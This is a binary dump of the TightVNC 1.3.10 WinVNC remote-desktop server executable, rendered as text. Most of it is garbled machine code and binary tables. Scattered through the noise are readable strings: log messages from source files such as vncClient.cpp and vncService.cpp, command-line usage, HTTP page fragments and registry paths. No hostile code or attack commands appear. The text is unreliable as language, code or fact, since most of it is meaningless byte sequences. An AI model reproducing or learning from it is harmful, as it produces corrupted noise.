QDPlQDU$X(hE3ʼnpEVtj 讍YHtjJYpE]|ux}tfff]pfElfehfmdE@jPEjP5E EЍEjE@uEdQDEPhQDj`USVWUjjh8Cu6K]_^[]ËL$At2D$H3]UhP(RP$R]D$T$SVWD$UPjh@Cd5hE3PD$dD$(Xp t:|$,t;t$,v-4v L$ H |uhDID_뷋L$d _^[3d y@CuQ R 9QuSQpE SQpEL$ KCk UQPXY]Y[jh+E詉]uu -Yu u S,Y=\E3}j/~Y}S~YE;;5LEwIVSPw t]5VDYE;t'CH;rPSuo%SN~ESPo~9}uH;u3Fu u VW5EtQDE;t CH;rPSu%Su"~E.}u1uFu VSj5E,QDu ]jb|YË}9=TEt,VhYVZ9}ulPRDPZY_1Z9}th quFVSj5E,QDuV9TEt4V\hYtvVLhYY 3Y|uYPRDP{YYUM S3;v(j3X;EsYSSSSS @63AM9]VWt usYVuYYt;s+VjS1 _^[]Vt$W3;u%YWWWWW5F @t F f F u VYFvvVYP ;ljFtF uOVYt.VYt"VV<@Ek8YYhoE@$Y]Dt1u YPRDu PRDE]9]tSMM6M ME EH{utYU(hE3ʼnESVuWu} Mn*EP3SSSSWEPEP"EEVPH(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[U(hE3ʼnESVuWu} M)EP3SSSSWEPEP3"EEVP(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[_UMSVu3;Wy uKj^0SSSSSW(9] v݋U;ӈ~3@9E woKj"Y;0F~:tGj0Y@J;M;ӈ|?5| 0H89t>1uA~W@PWV=B3_^[]UQU BSVW%#ωE Bپ%ۉut;t<($3;u;uEfM XL<] ME ΉHuP Ɂ։PtM _^fH[U0hE3ʼnEES]VEWEPEPYYEPjj uf&uЉCE։EԉCEPuV|$t3PPPPP%M_s ^3[YWVU33D$ }GET$ڃD$T$D$ }GT$ڃD$T$ u(L$D$3؋D$d$ȋd$G؋L$T$D$ ud$ȋD$r;T$wr;D$v N+D$T$3+D$T$My؃ʋӋًȋOu؃]^_̀@s sË3Ҁ33UEM %#Vt1W}3;t VVD/YYHj_VVVVV8/%_uPu t / /YY3^]UuM%E MUTu}tMA#E3t3@}tMapjjt$ jU,hE3ʼnEESVW39=0Eڋ]܉Eu8jDPjPWWRDt 0EPRDxu 0E9}~AMI8t@;u+EU;~,EI8t@;u+ЉU}}3| 0E;3@;u9}}uIM9}t;9UujXu;m9E~jEPuQDt9}~)}r}Et׊PtЊ :r:v@@8u9}~8}s3@}EtPtM :r:t@@8u΋5QDWWuSj u֋;߉]ۿ~@j3Xr4D;wątP9Yt Ee}Suuujuօjjuuj u֋؅t{~Bj3Xr6D;wtZPYt 3t1SWuujuօtSWuuu uRDEWeYu\EY339}u@E9}u@EuY;utPjjEPuVu ؃jjEPuVuu SYk]܉}uuuuu uRDۋtSWYYƍe_^[M3UuM!u$Uu Muuuu I}tMapUSuM!U3;u8]tE`p39]u.CSSSSS 8]tE`p9] tV;vCSSSSSU KEH;uEPRu u~ ?pERu RuhQP ;uLC8]tE`p8]tMap^[V5|E"WPt$a u <=ttu؋+|E^Ë+|E^UQ3u9t @9uSV@jPۊYYuuj CYPP,Yu!E^[UES3;W]u`BSSSSSlV0;utSj=V,;YYEtB;t>38X|E;EMu 4|E;u`9] t$9EtXtJA^_[9]j賉;Y|Etމ9Euj蘉;YEtÉ5|E;ut}+}uc;Y|R9tN469]YuEEFEG49u?sjjW5|E ;tUN9];}ߍG;3=?(Pj5|E踉 ;U YM|E9] txujVɋ@Y@P;YYt\VV豋@Y@PW? t SSSSSZM+E@#QWRDuMj@*WY9]tuEYEeuEY3PL$S3;VW|[; 4EsSk8<@E@t58t0=`fEu+tItIuSjSjSjRD 3? ?_^[ËD$u? ? V3;|";4Esȃk8 @E@u$q?0W?VVVVV ^Ë^j hp+Em}k84@EE39^u6j aY]9^uhF P\YYu]FE09]tk8@ED8 PQDEl3ۋ}j `YËD$ȃk8 @ED PQDUhE3ʼnEV395qEtN=sEu,)sEuf pVMQjMQPRDug=qEuPRDxuЉ5qEVVjEPjEPVRDPQD sEtVURPEPQ@M}ED% u$L& t9]t@MED& SMQuP4 RD|M;q;MhMD};t M9 u ]E;؉]EM<< t CAMEH;sA8 u AAM uEmEjEPjEP4 RDu PRDuE}t?DHt} t ML%;]u} tjjju} t CE9EGD@uC+E}EK xC3@;]rK @qEtqEu (:*zA;u@AHt$CQ| T%Cu T&C+ؙjRPuE+]Pu SujhQDEu4PRDP9YME;E tP YEEE3;EL0;tMf9 u ]E;؉]EEff tf CC@@EM;s!Hf9 uEf MEjEPjEP4 RDu PRDuZ}tTDHt'f} tf MLML%D& );]uf} tjjjuuf} tf CCE9Et@uffCC+]]PRDj^;u 8 (80hmX][3_[^jh+EeEu7 7 3;|;4Er!787 WWWWW\ɋ@Ek8 L1t;MAuy78_7PY}D0tuu u E)7 178ME E4eu`YUS39]VWuM_9]u.6SSSSS8]tE`p} ;t˾9uv(6SSSSS@8]tE`p`E9XuuWu! 8]tDMap;EMQP@EMQP.GMt;t;t+3_^[Vt$WVQYtM@Eu@tu u@<tj)j ;YYtVYPDRDu PRD3Vuƃk8@EYD0t W5Y3_^jh+ETcEuo5 T5 3;|;4Er!F58,5 WWWWWɋ@Ek8 L1tPY}D0tuYE4 ME EbuYVt$F ttvf 3YFF^U,EH SفMHMH?WMEu'339\u @|33}૫jXeVu}ԥ5rENNс]EyJB|j3Y+@ME҅T|u@|nƙjY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyщMM!E@} jY|+3}tCrE+ rE;} 3}૫ ;+Euԋȍ}ख़¥yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}5rENNсEyJBjY+3B\M҅T|u@|fƙjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyދM!E@} jY|+3 rEA‹yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}j3XZ;rE rE3}૫M‹yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}rE rE3@rEe؋‹yJBeeE )U֋M|#ΉMM }|}ME}}|ЋjMZ+;|1tdJ}3^jY+ rEMɁ ً rE ]@u M UY uM _[U,EH SفMHMH?WMEu'339\u @|33}૫jXeVu}ԥ5sENNс]EyJB|j3Y+@ME҅T|u@|nƙjY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyщMM!E@} jY|+3}tCsE+ sE;} 3}૫ ;+Euԋȍ}ख़¥yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}5sENNсEyJBjY+3B\M҅T|u@|fƙjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyދM!E@} jY|+3 sEA‹yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}j3XZ;sE sE3}૫M‹yJBeeE )U׋]\3#ωMM u3uE}u|ӋjMZ+;|1tdJ}sE sE3@sEe؋‹yJBeeE )U֋M|#ΉMM }|}ME}}|ЋjMZ+;|1tdJ}3^jY+ sEMɁ ً sE ]@u M UY uM _[U|hE3ʼnEES3V3EE F39]$WE}]u]]]]]]]u)SSSSSY3UU< t < t< t< uB0B /$*DȀ1wjYJ݋M$ :ujY+tHHt jYE뢃ejY뙊Ȁ1uvM$ :uj<+t(<-t$:t 9M u H9U t @ff;u9M u8]tMap8]tE`p3^[jt$ t$ 7 3PPjPjh@h E(RDsEásEV5DRDttP֡sEttP^UWVSM tMu} AZ I& t' t#:r:w:r:w:u u3:t rً[^_UhE3ʼnEESV39u WEN@0ppFX}𥥥< ыH Ή}e ˋ] ׍<;0PHr;sE39]8tr;rs3CۉptAHHU3;r;s3FXt@MHe ?< PU މxX4;Ur;sE}0tO3;rs3B҉HtCXM E} 3&HP EH9ptջXu00xE04? H ʅˉpHtfMfH M_^3[BSjh+E@39dEtVE@tH9uEt@EU.E=t =t33@Ëe%uEeUEeUc@jDHFD跲h EM蘼eEPM蘻h$EEPEdDjDHFDxh EMYeEPMYhEEPEpD%pQD̋EP[YøE(̋EP;YËEP0YËEP%YËEPYËEPYËEPYËEPYøE̍MME̋MbMTMFM8HM*HEMMME3̍M,E̍MM`E̍ME̍ME̍MhE̋EPYødEx̍M(E[̍#E̋MH0E̍MxMpMhM`MHxE{̋EPYÍMEP̋M<FE8̋EPKYø<E̍MhE̋M(GM\EE̋EPYøE̋M>>>>>>~>n>^>L>6>&> >>=======?x==$424@4P4d4v44444444555EDDDDDDDD|DjDXDFD8D$DD4CCCCCCrCbCVCBC.CCCBBBBBB~BfBJB,E8EDENEZElE|EEEEE43333333v3j3T3B3,333322222222t2d2T2B2EEE F$F>FXFhFFFFFFFFGG,G;0;b<;;::::::~:l:^:J:8::::999999r9`9R9F949(99988888 ;T<888v8\8L8688887777777p7\7L7D727 77766666666t6j6\6L6:6*66 6555555555j5\5L5:2BBBAAAAA9 sto  4vAdAPApFDFDFDFDFDGD0GD@GDPGD`GDpGDGDGDGDGDHD HD0HD@HD`HDpHDHDHDHDHDID0IDPIDpIDIDIDIDIDJDJD0JD@JDPJD`JDpJDJDJDJDJDJDJDJDJDKDKD KD0KD@KDPKD`KDpKD/&CSC^C.CC'C9DETCBuilt on Mar 5 2009 at 16:28:04.\DynamicFn.cpp: proc %s not found in %s (error %d).\DynamicFn.cpp: DLL %s not found (error %d) E@  E@Error opening log file %s .bakError opening log file .\Log.cppbad allocationd E`%@You have not yet selected a window to share. Please first select a window with the 'Window Target' icon, and try again.No Window Selected0x%x * no window selected ** screen area selected ** primary display selected ** full desktop selected *WinVNC.logi:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\tableinitcmtemplate.cpp: rfbInitColourMapSingleTable done i:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\tableinitcmtemplate.cpp: failed to get system palette, error=%d i:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\tableinitcmtemplate.cpp: failed to allocate translation table i:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\tableinitcmtemplate.cpp: rfbInitColourMapSingleTable called .\TsSessions.cpp: ProcessIdToSessionId failed (error %d).\TsSessions.cpp: Unable to connect session to Console (error %d).\TsSessions.cpp: Console session is %d.\TsSessions.cpp: WinSta APIs missingwinsta.dllWinStationConnectWkernel32.dllWTSGetActiveConsoleSessionIdProcessIdToSessionIduser32.dllLockWorkStation.\VideoDriver.cpp: vncVideoDriver::CheckVersion: ESC_QVI call returned 0x%x Driver version is: display = %u.%u.%u.%u (build %u), miniport = %u.%u.%u.%u (build %u), appMinReq = %u.%u.%u.%u .\VideoDriver.cpp: vncVideoDriver::CheckVersion: ESC_QVI not supported by this version of Mirage Supported driver version is: min = %u.%u.%u.%u, cur = %u.%u.%u.%u .\VideoDriver.cpp: vncVideoDriver::CheckVersion: can't create DC on "%s" .\VideoDriver.cpp: vncVideoDriver::MapSharedbuffers: mirror screen view is mapped but direct access mode is OFF .\VideoDriver.cpp: vncVideoDriver::MapSharedbuffers: mirror screen view is NULL .\VideoDriver.cpp: vncVideoDriver::MapSharedbuffers: MAP1 call returned 0x%x .\VideoDriver.cpp: vncVideoDriver::MapSharedbuffers: can't create DC on "%s" .\VideoDriver.cpp: vncVideoDriver::UnMapSharedbuffers: UnmapViewOfFile(bufdata.Userbuffer) returned %d .\VideoDriver.cpp: vncVideoDriver::UnMapSharedbuffers: UnmapViewOfFile(bufdata.buffer) returned %d .\VideoDriver.cpp: vncVideoDriver::UnMapSharedbuffers failed. unmapping manually .\VideoDriver.cpp: vncVideoDriver::UnMapSharedbuffers: can't create DC on "%s" .\VideoDriver.cpp: Can't access DEVICE0 hardware profiles key. DEVICE0.\VideoDriver.cpp: Can't access "%s" hardware profiles key. .\VideoDriver.cpp: Can't access registry. SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\ServicesDISPLAY.\VideoDriver.cpp: Can't set Order.BltCopyBits.Enabled to %d Order.BltCopyBits.Enabled.\VideoDriver.cpp: Can't set "Cap.DfbBackingMode" to %d Cap.DfbBackingModePointer.EnabledScreen.ForcedBpp.\VideoDriver.cpp: Can not import '%s' from '%s'. .\VideoDriver.cpp: Found display device "%s": "%s" User32.DLLEnumDisplayDevicesA.\VideoDriver.cpp: ChangeDisplaySettingsEx failed on device "%s" with status: 0x%x ChangeDisplaySettingsExA.\VideoDriver.cpp: Can't set Attach.ToDesktop to %d Attach.ToDesktop.\VideoDriver.cpp: Screen Color depth: %i .\VideoDriver.cpp: Screen Dimensions: (%i, %i) .\VideoDriver.cpp: Screen Top-Left Position: (%i, %i) .\VideoDriver.cpp: DevNum:%d Name:%s String:%s .\VideoDriver.cpp: No '%s' or '%s' found. .\VideoDriver.cpp: Can't set Attach.ToDesktop to 0x1 .\vncBuffer.cpp: GetRemotePalette called but no encoder set .\vncBuffer.cpp: unknown encoder requested .\vncBuffer.cpp: client pixel format is not supported .\vncBuffer.cpp: ZlibHex encoder requested .\vncBuffer.cpp: Tight encoder requested .\vncBuffer.cpp: Zlib encoder requested .\vncBuffer.cpp: Hextile encoder requested .\vncBuffer.cpp: CoRRE encoder requested .\vncBuffer.cpp: RRE encoder requested .\vncBuffer.cpp: raw encoder requested .\vncBuffer.cpp: local buffer=%d, remote buffer=%d .\vncBuffer.cpp: unable to allocate client buffer[%d] .\vncBuffer.cpp: SetClientFormat called EY@>(Ci:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\vncPasswd.h: PASSWD : ToText called .\vncClient.cpp: negotiated protocol version, RFB 3.%d .\vncClient.cpp: non-standard protocol version 3.%d, using 3.%d instead .\vncClient.cpp: unsupported protocol version %d.%d RFB %03d.%03d .\vncClient.cpp: no authentication necessary .\vncClient.cpp: performing VNC authentication .\vncClient.cpp: incorrect security type requested .\vncClient.cpp: enabling TightVNC protocol extensions Your connection has been rejected..\vncClient.cpp: Client connection rejected Local loop-back connections are disabled..\vncClient.cpp: loopback connection attempted - client rejected This server does not have a valid password enabled. Until a password is set, incoming connections cannot be accepted..\vncClient.cpp: no password specified for server - client rejected .\vncClient.cpp: unknown authentication type .\vncClient.cpp: incorrect authentication type requested VNCAUTH_Authentication failed.\vncClient.cpp: authentication failed .\vncClient.cpp: connections already exist - client rejected .\vncClient.cpp: non-shared connection - disconnecting old clients NEWFBSIZLASTRECTPOINTPOSRCHCURSRX11CURSRJPEGQLVLCOMPRLVLTIGHT___ZLIBHEX_ZLIB____HEXTILE_CORRE___RRE_____COPYRECT.\vncClient.cpp: assertion failed, nClientMsgs > MAX_CMSG_CAPS FTC_UPFLFTC_DNCNFTC_UPDTFTC_UPRQFTC_DNRQFTC_LSRQ.\vncClient.cpp: assertion failed, nServerMsgs > MAX_SMSG_CAPS FTS_DNFLFTS_UPCNFTS_DNDTFTS_LSDT.\vncClient.cpp: vncClient() executing... , E}@~@pn@`@n@po@p@p@~@r@m@m@m@n@n@ n@EA0n@Q@r@r@Pn@t EP@@`n@Z@@Z@@[@\@ _@p_@@`@``@a@a@pf@ g@[unknown].\vncClient.cpp: failed to send RFB message to client .\vncClient.cpp: deleting buffer .\vncClient.cpp: deleting socket .\vncClient.cpp: ~vncClient() executing... .\vncClient.cpp: file download complete: %s .\vncClient.cpp: client disconnected : %s (id %hd) .\vncClient.cpp: invalid message received : %d .\vncClient.cpp: FileCreateDirRequest message received .\vncClient.cpp: FileUploadFailed message received .\vncClient.cpp: FileDownloadCancel message received Error writing file dataServer does not support data compression on upload.\vncClient.cpp: file upload complete: %s; .\vncClient.cpp: SetFileTime() failed .\vncClient.cpp: FileUploadData message received Could not create file.\vncClient.cpp: file upload requested: %s Path length exceeds MAX_PATH value.\vncClient.cpp: FileUploadRequest message received Cannot open file, perhaps it is absent or is a directory.\vncClient.cpp: file download requested: %s Path length exceeds 255 bytesCannot impersonate logged on user.\vncClient.cpp: FileDownloadRequest message received ...\*.\vncClient.cpp: FileListRequest message received .\vncClient.cpp: ClientCutText message received .\vncClient.cpp: PointerEvent message received .\vncClient.cpp: KeyEvent message received .\vncClient.cpp: FramebufferUpdateRequest(full) received .\vncClient.cpp: FramebufferUpdateRequest(incr) received .\vncClient.cpp: failed to select raw encoder! .\vncClient.cpp: defaulting to raw encoder .\vncClient.cpp: PointerPos protocol extension enabled .\vncClient.cpp: NewFBSize protocol extension enabled .\vncClient.cpp: LastRect protocol extension enabled .\vncClient.cpp: image quality level requested: %d .\vncClient.cpp: compression level requested: %d .\vncClient.cpp: Full-color cursor shape updates enabled .\vncClient.cpp: X-style cursor shape updates enabled .\vncClient.cpp: SetEncodings message received .\vncClient.cpp: remote pixel format invalid .\vncClient.cpp: SetPixelFormat message received .\vncClient.cpp: list of interaction capabilities sent .\vncClient.cpp: sent pixel format to client WinVNC.\vncClient.cpp: authenticated connection .\vncClient.cpp: failed to set socket timeout, error=%d .\vncClient.cpp: client connected : %s (id %hd) .\vncClient.cpp: vncClient::SendUpdate caught an exception. VNCHooks.CopyRect.WindowPosWinVNC desktop sink      E@ @@0@@WindowsScreenSaverClass.\vncDesktop.cpp: Killing ScreenSaver Screen-saver.\vncDesktop.cpp: KillScreenSaver... .\vncDesktop.cpp: SCR-WBB: attempting to change resolution w=%d h=%d ResHeightResWidthSoftware\ORL\WinVNC3.\vncDesktop.cpp: SCR-WBB: current display: w=%d h=%d bpp=%d vRfrsh=%d. .\vncDesktop.cpp: SCR-WBB: could not get current display settings! .\vncDesktop.cpp: SCR-WBB: failed to allocate memory for alternate DEVMODE representation! .\vncDesktop.cpp: GetDC() failed, error=%d vncDesktop : current display is PLANAR, not CHUNKY! WinVNC cannot be used with this graphics device driver.\vncDesktop.cpp: DBG:memory context has %d planes! .\vncDesktop.cpp: DBG:display context has %d planes! .\vncDesktop.cpp: got bitmap format .\vncDesktop.cpp: created memory bitmap .\vncDesktop.cpp: failed to create memory bitmap, error=%d vncDesktop : memory device doesn't support GetDIBits WinVNC cannot be used with this graphics device drivervncDesktop : root device doesn't support BitBlt WinVNC cannot be used with this graphic device driver.\vncDesktop.cpp: CreateCompatibleDC() failed, error=%d .\vncDesktop.cpp: bitmap dimensions are %dx%d .\vncDesktop.cpp: source desktop metrics: (%d, %d, %d, %d) .\vncDesktop.cpp: DBG:used/bits/planes/comp/size = %d/%d/%d/%d/%d .\vncDesktop.cpp: no palette data for truecolour display .\vncDesktop.cpp: initialised palette OK .\vncDesktop.cpp: warning - failed to RealizePalette .\vncDesktop.cpp: SelectPalette() failed. .\vncDesktop.cpp: CreatePalette() failed. .\vncDesktop.cpp: GetSystemPaletteEntries() failed. .\vncDesktop.cpp: error allocating palette .\vncDesktop.cpp: initialising desktop server .\vncDesktop.cpp: video driver interface deactivated .\vncDesktop.cpp: failed to delete atom! .\vncDesktop.cpp: failed to DeleteObject .\vncDesktop.cpp: failed to DeleteDC(m_hmemdc) .\vncDesktop.cpp: failed to ReleaseDC(m_hrootdc) .\vncDesktop.cpp: failed to set system hooks .\vncDesktop.cpp: DBG:true-color desktop in SetPixShifts() .\vncDesktop.cpp: DBG:palette-based desktop in SetPixShifts() unsupported truecolour pixel format for SetPixShifts() .\vncDesktop.cpp: enabled fast DIBsection blits OK .\vncDesktop.cpp: unable to allocate back buffer[%d] .\vncDesktop.cpp: unable to allocate main buffer[%d] .\vncDesktop.cpp: failed to build DIB section - reverting to slow blits .\vncDesktop.cpp: attempting to create main and back buffers .\vncDesktop.cpp: failed to activate video driver interface .\vncDesktop.cpp: video driver interface activated .\vncDesktop.cpp: ******** PLEASE INSTALL NEWER VERSION OF MIRAGE DRIVER! ******** .\vncDesktop.cpp: found abandoned Mirage driver running. restarting. .\vncDesktop.cpp: failed to create vncVideoDriver object .\vncDesktop.cpp: can't set direct access mode in this configuration of monitors due to a known Windows bug. .\vncDesktop.cpp: not activating video driver interface .\vncDesktop.cpp: killing desktop server .\vncDesktop.cpp: CreateWindow() failed. .\vncDesktop.cpp: GlobalAddAtom() failed. .\vncDesktop.cpp: Console is not session zero - reconnect to restore Console session.\vncDesktop.cpp: vncDesktop::CheckRects caught an exception. ConsoleWindowClasstty.\vncDesktop.cpp: vncDesktop::CheckUpdates caught an exception. .\vncDesktop.cpp: screen format has changed. .\vncDesktop.cpp: SCR: new screen format %dx%dx%d .\vncDesktop.cpp: SCR: old screen format %dx%dx%d .\vncDesktop.cpp: failed to re-start desktop server. .\vncDesktop.cpp: failed to close desktop server. .\vncDesktop.cpp: display resolution or desktop changed. .\vncDesktop.cpp: quitting desktop server thread .\vncDesktop.cpp: WaitMessage() failed WinVNC.Update.DrawRectWinVNC.Update.CopyRectWinVNC.Update.MouseWinVNC.Local.KeyboardWinVNC.Local.Mouse/ZlibInStream.class/MemInStream.class/InStream.class/CapsContainer.class/CapabilityInfo.class/SocketFactory.class/ReloginPanel.class/SessionRecorder.class/RecordingFrame.class/ButtonPanel.class/VncViewer.class/VncCanvas2.class/VncCanvas.class/RfbProto.class/OptionsFrame.class/DesCipher.class/ClipboardFrame.classJavaClass/AuthPanel.classJavaArchive/VncViewer.jarHTTP/1.0 200 OK TightVNC desktop [%.256s] %.1024s
www.TightVNC.com TightVNC desktop

Connections Disabled

The requested desktop is not configured to accept incoming connections. TightVNC desktop

Bad Parameters

The sequence of applet parameters specified within the URL is invalid. HTTP/1.0 404 Not Found 404 Not Found

Not Found

The requested file could not be found. PDDDt0D$Dw D$DzD$DD$D}ԈD$D~D$DD$DD$DD$DlD$DuTD$Dv@D$Dx(D$DyD$DD$DD$DlԇD$DmD$Dn.\vncHTTPConnect.cpp: quitting HTTP client thread .\vncHTTPConnect.cpp: started HTTP client thread .\vncHTTPConnect.cpp: sent page .\vncHTTPConnect.cpp: applet parameters specified .\vncHTTPConnect.cpp: sending main page .\vncHTTPConnect.cpp: file successfully sent .\vncHTTPConnect.cpp: sending file... .\vncHTTPConnect.cpp: requested file recognised .\vncHTTPConnect.cpp: filename didn't begin with '/' .\vncHTTPConnect.cpp: HTTP headers skipped .\vncHTTPConnect.cpp: file %s requested GET %s HTTP/@E@@`n@@`@`@@E0@E@ @@@ .\vncHTTPConnect.cpp: quitting HTTP server thread .\vncHTTPConnect.cpp: HTTP client connected .\vncHTTPConnect.cpp: started HTTP server thread WinVNC_Win32_Instance_Mutexfake %d down fake %d up .\vncKeymap.cpp: new state %d (%s) .\vncKeymap.cpp: setshiftstate %d - (%s->%s) downup E@@lE@@E@@invalid map/set iteratormap/set too longkeyboard key: keysym %d(0x%x) vkCode 0x%x ext %d down %d ignoring unknown keysym %d latin-1 key: keysym %d(0x%x) vkCode 0x%x down %d ignoring unrecognised Latin-1 keysym %d WinVNC Tray Icon, %d.IP address unavailableHost name unavailable.\vncMenu.cpp: unable to add tray icon .\vncMenu.cpp: opening dialog box .\vncMenu.cpp: tray icon updated ok Not listening (no valid passwords set) (new clients disabled)TightVNC Server - TightVNC Service - .\vncMenu.cpp: no submenu available .\vncMenu.cpp: show user properties requested .\vncMenu.cpp: show default properties requested .\vncMenu.cpp: user name has changed .\vncMenu.cpp: usernames : old="%s", new="%s" .\vncMenu.cpp: WM_ENDSESSION .\vncMenu.cpp: WM_QUERYENDSESSION .\vncMenu.cpp: quitting from WM_DESTROY .\vncMenu.cpp: unable to initialise Properties dialog .\vncMenu.cpp: unable to CreateWindow:%d WinVNC.Properties.User.ShowWinVNC.Server.ShareAllWinVNC.Server.SharePrimaryWinVNC.Server.ShareAreaWinVNC.Server.ShareWindowWinVNC.Properties.Default.ShowWinVNC.AboutBox.ShowWinVNC.ServiceHelper.MessageWinVNC.Reload.MessageWinVNC.AddClient.MessageWinVNC.KillAllClients.MessageVNCServer.1.3.FileTransferDownloadMessagelist too longi:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\vncPasswd.h: PASSWD : FromClear called .\vncServer.cpp: cannot start both RFB and HTTP servers on the same port localhost.\vncServer.cpp: trying port number %d E`n@.\vncServer.cpp: GetScreenInfo called .\vncServer.cpp: authhosts set to "%s" .\vncServer.cpp: authhosts cleared .\vncServer.cpp: verify host - malformed AuthHosts string .\vncServer.cpp: verify host - pattern processing failed! .\vncServer.cpp: verify failed - null hostname .\vncServer.cpp: Can not import '%s' and '%s' from '%s'. GetMonitorInfoAMonitorFromPoint.\vncServer.cpp: KillClient() done .\vncServer.cpp: killing auth client .\vncServer.cpp: killing unauth client .\vncServer.cpp: KillAuthClients() done .\vncServer.cpp: KillUnauthClients() done .\vncServer.cpp: shutting down server object(4) .\vncServer.cpp: shutting down server object TE@APApRA`A`TA3A0A0AP5A 1A@6A1A07AAWA8AA@IAWAKADAP/Ap/A8A@A`9A :A:A;ApAp?A`@APAAHA!A-AHA`.AHAHAHAHA /A0AHAIAIA.\vncServer.cpp: RemoveClient() done .\vncServer.cpp: client disconnect - failed to logoff user! .\vncServer.cpp: deleting desktop server .\vncServer.cpp: removing authorised client .\vncServer.cpp: removing unauthorised client .\vncServer.cpp: AddClient() done .\vncServer.cpp: failed to initialize client object .\vncServer.cpp: too many clients already connected .\vncServer.cpp: failed to allocate client object .\vncServer.cpp: Authenticated() done .\vncServer.cpp: failed to allocate buffer object .\vncServer.cpp: failed to initialize desktop object .\vncServer.cpp: failed to allocate desktop object -service-servicehelper.\vncService.cpp: SelectHDESK failed to close old desktop %x, error=%d .\vncService.cpp: unable to SetThreadDesktop(), error=%d .\vncService.cpp: SelectHDESK() to %s (%x) from %x .\vncService.cpp: GetUserObjectInformation() failed .\vncService.cpp: SelectDesktop failed to close desktop, error=%d .\vncService.cpp: SelectDesktop() failed to select desktop .\vncService.cpp: unable to open desktop, error=%d .\vncService.cpp: failed to close input desktop .\vncService.cpp: "SAS window" not found SAS window classSAS window.\vncService.cpp: generating ctrl-alt-del .\vncService.cpp: failed to select logon desktop Winlogon.\vncService.cpp: spawn ctrl-alt-del thread... .\vncService.cpp: preparing to generate ctrl-alt-del .\vncService.cpp: call to LockWorkstation failed .\vncService.cpp: unable to locate LockWorkStation - requires Windows 2000 or above (%u) .\vncService.cpp: unable to load User32 DLL (%u) .\vncService.cpp: locking workstation .\vncService.cpp: unable to lock workstation - not NT No existing instance of WinVNC could be contactedUnable to find a window with the specified title..\vncService.cpp: impersonating logged on user .\vncService.cpp: failed to impersonate user, error=%d .\vncService.cpp: failed to get user token, error=%d .\vncService.cpp: failed to open specified process, error=%d .\vncService.cpp: failed to close current registry hive .\vncService.cpp: impersonated logged on user .\vncService.cpp: user impersonation failure, error=%d .\vncService.cpp: impersonation failure, user unknown .\vncService.cpp: reverted impersonation .\vncService.cpp: quitting from ServiceStop The WinVNC service failed to startThe WinVNC service was successfully installed The service will start now and will automatically be run the next time this machine is resetThe SCM could not be contacted - the WinVNC service was not installedSoftware\Microsoft\Windows\CurrentVersion\RunServicesThe WinVNC service was successfully registered The service may be started from the Control Panel, and will automatically be run the next time this machine is resetWARNING:Unable to install the ServiceHelper hook Global user-specific registry settings will not be loadedSoftware\Microsoft\Windows\CurrentVersion\RunThe WinVNC service could not be registeredThe WinVNC service is already registeredwinvncVNC ServerThe Service Control Manager could not be contacted - the WinVNC service was not registered"%s" %sUnable to install WinVNC serviceThe WinVNC service could not be contactedThe Service Control Manager could not be contacted - the WinVNC service was not unregisteredThe WinVNC service could not be foundThe WinVNC service could not be unregisteredThe WinVNC service is already marked to be unregisteredThe WinVNC service has been unregisteredThe WinVNC service could not be stoppedWARNING:The ServiceHelper hook entry could not be removed from the registry%.200s error: %d.\vncService.cpp: GetUserName() failed, error=%d DefaultSetServiceStatus failedRegisterServiceProcessKERNEL32.DLLStartServiceCtrlDispatcher failed..\vncSockConnect.cpp: quitting socket connection thread .\vncSockConnect.cpp: accepted connection from %s .\vncSockConnect.cpp: started socket connection thread EpqAE@ @0pApA0EP~A.\VSocket.cpp: shutdown socket .\VSocket.cpp: send(0x%x, 0x%x, %d, 0): wsa_error = %d .\VSocket.cpp: socket error .\VSocket.cpp: socket error in select() .\VSocket.cpp: zero bytes read .\VSocket.cpp: closing socket .\WallpaperUtils.cpp: Active Desktop not enabled - ignoring .\WallpaperUtils.cpp: unable to disable Active Desktop:%x .\WallpaperUtils.cpp: attempting to disable Active Desktop .\WallpaperUtils.cpp: unable to fetch Active Desktop options:%x .\WallpaperUtils.cpp: unable to access Active Desktop object:%x .\WallpaperUtils.cpp: KillActiveDesktop .\WallpaperUtils.cpp: unable to re-enable Active Desktop:%x .\WallpaperUtils.cpp: attempting to re-enable Active Desktop -service-servicehelper-run-install-remove-reinstall-silent-reload-settings-defaultsettings-about-kill-shareall-shareprimary-sharearea-sharewindow-connect-killallclientswinvnc [-run] [-kill] [-service] [-servicehelper] [-connect [host[:display]]] [-connect [host[::port]]] [-install] [-remove] [-reinstall] [-reload] [-settings] [-defaultsettings] [-killallclients] [-shareall] [-shareprimary] [-sharearea WxH+X+Y] [-sharewindow "title"] [-about] [-help] .\WinVNC.cpp: shutting down server .\WinVNC.cpp: message %d received .\WinVNC.cpp: failed to create tray menu .\WinVNC.cpp: server created ok Another instance of WinVNC is already runningWinVNC Usage%hux%hu+%hu+%hu .\WinVNC.cpp: sockets initialised Failed to initialise the socket systemxEAAAA@AAAЩA@AЍAAACoRRE%s: unusual colour = %d getBgColourgetBgColour: bpp %d? E0AAAAAPAAЩAAPAAAHextileDEPAAAAAPAAЩAARaw.\vncEncoder.cpp: %s encoder efficiency: %.3f%% .\vncEncoder.cpp: %s encoder stats: data=%d, overhead=%d, encoded=%d, sent=%d .\vncEncoder.cpp: triple LUT used .\vncEncoder.cpp: single LUT used .\vncEncoder.cpp: no translation required .\vncEncoder.cpp: unknown local pixel format in use! .\vncEncoder.cpp: using 8-bit colourmap to truecolour translation .\vncEncoder.cpp: local truecolour, remote palettized. using BGR233 palette .\vncEncoder.cpp: no encoding required - both 8-bit palettized .\vncEncoder.cpp: only 8-bit palette format supported 